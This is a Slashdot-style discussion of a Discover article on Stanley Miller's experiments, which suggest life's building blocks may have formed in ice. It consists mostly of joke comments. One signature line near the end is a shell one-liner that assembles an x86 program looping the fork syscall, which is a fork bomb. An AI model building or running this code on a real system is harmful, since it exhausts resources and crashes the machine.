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Life May Have Evolved In Ice
Philip Bailey writes "An article in this month's Discover Magazine claims that some of the fundamental organic molecules required for the development of life could have spontaneously arisen within ice. Scientist Stanley Miller was responsible for seminal experiments in the 1950s in this area. He used sparks and a mixture of inorganic chemicals to test his theories, but turned to low temperature experiments in later years. He was able to create the constituents of RNA and proteins from a mixture of cyanide, ammonia and ice in trials lasting up to 25 years. A process known as eutectic freezing is thought to be the basis of these results: small pockets of liquid water, in which foreign molecules are concentrated enormously, increases the reaction rates, and more than compensates for temperature-related slowing."
He should probably avoid Q if he wants to push up his success rate.
To be sure, some sparks were still needed for the ice theory but there you have it.
You can't send a takedown notice to an already printed newspaper.
I, for one, welcome our new penguin overlords.
All hail Tux!
Sir, do you realize what you are doing is illegal in nerddom? Having ESPN and Slashdot in the same window could result in a nerd-jock cancellation reaction resulting in the destruction of the universe as we know it? Your nerd license has been officially revoked for participating in this dangerous behaviour.
I thought everyone knew this. Cryophiles taste awesome.
The only result for "early quiet sun" is a hit on some site talking about early Brian Eno recordings...
Slashdot needs a "-1, Wrong" moderation option.
The Urban Hippie
Another early experiment, in which he added Vanilla to the mix still haunts Professor Miller to this day.
It must have been something you assimilated. . . .
Now all the crazy evangelicals will be saying that scientists think we all came from ice cubes.
but that would be kind of a chicken-and-egg thing, now wouldn't it?
There exists no way of exchanging information without making judgments. --Bene Gesserit Axiom
The comet was struck by lightning as it fell to Earth, duh.
127.0.0.1
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Confucius say, "Find worm in apple - bad. Find half a worm - worse."